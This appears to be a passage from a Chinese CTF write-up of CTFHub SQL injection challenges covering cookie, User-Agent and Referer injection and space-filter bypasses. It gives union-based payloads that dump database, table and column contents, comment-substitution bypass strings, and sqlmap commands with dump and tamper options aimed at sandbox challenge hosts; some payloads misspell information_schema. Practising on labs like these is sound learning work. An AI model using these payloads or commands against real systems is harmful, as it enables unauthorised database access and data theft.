python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli --tables --level 2
python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli -T frkadyqcec --columns --dump --level 2
8.UA注入
User Agent 中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
1.Burp
其实和cookie的差不多
1.爆库
-1 union select 1, database()
2.报表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
3.爆字段名
-1 union select 1, group_concat(column_name) from information_shcema.columns where table_schema = 'sqli' and table_name='***'
4.爆数据
-1 union select 1, group_concat(***) from sqli.***
2.sqlmap
这次说实话我是不怎么建议用sqlmap了,扫的时间太长了。。。
python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/ --level 3 --dbs
python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/ --level 3 -D sqli --tables
python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/ --level 3 -D sqli -T ztoczxhmwd --columns --dump
9.Refer注入
关于http的refer参数
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。
如题,通过抓包软件分析后发现header里并没有referer这个参数,需要自己加上,下面是效果:
(注:本题使用的注入Payload都可以参考上一道题,其实都只是换了个注入的地方,注入的方式都是一样的)
1.爆库
-1 union select 1, database()
2.报表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
3.爆字段名
-1 union select 1, group_concat(column_name) from information_shcema.columns where table_schema = 'sqli' and table_name='***'
4.爆数据
-1 union select 1, group_concat(***) from sqli.***
10.过滤空格
在一些题目中,我们发现出题人并没有对关键字进行过滤,反而对空格进行了过滤,这时候就需要用到下面这几种绕过方法。
1)通过注释绕过,一般的注释符有如下几个:
#
--
//
/**/
;%00
这时候,我们就可以通过这些注释符来绕过空格符,比如:
select/**/username/**/from/**/user
下面几种方法是拓展内容,需要自行搜寻
2)通过URL编码绕过,我们知道空格的编码是 %20,所以可以通过二次 URL 编码进行
绕过:
%20 – %2520
3)通过空白字符绕过
4)通过特殊符号
5)科学计数法绕过
1.手工注入
知道原理后其实就是很简单的把空格换一下就行了
1.爆库
-1/**/union/**/select/**/1,database()
2.爆表
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
3.爆字段
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='rpaaurgzkh'
4.爆数据
-1/**/union/**/select/**/1,group_concat(***)/**/from/**/sqli.***
2.sqlmap
这次说实话我是不怎么建议用sqlmap了,扫的时间太长了。。。
CTFHub题解-技能树-Web-SQL注入(过滤空格)【四】 - 0yst3r - 博客园 (cnblogs.com)
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" --dbs --tamper "space2comment.py"
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" -D "sqli" --tables --tamper "space2comment.py"
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" -D "sqli" -T "dwthlcaucd" --dump --tamper "space2comment.py"
11.综合训练SQLI-LABS
这个其实就是著名sql注入网站(看到没有flag还是手贱好奇打开了浪费我50大洋😭)
可以自己搭着玩,我用Apache+PHP+Mysql一直因为php版本问题失败
可以试下这个下载Sqli-labs靶场搭建 - 知己呀 - 博客园 (cnblogs.com)
这个博主提供的sqli-labs可以用php7(估计是把报错的函数全部修改了,太牛了😚)
我最后选择的还是Apache+PHP+Mysql,用的是博主的sqli-labs,除了博主的sqli-labs其他上网随便都能搜到教程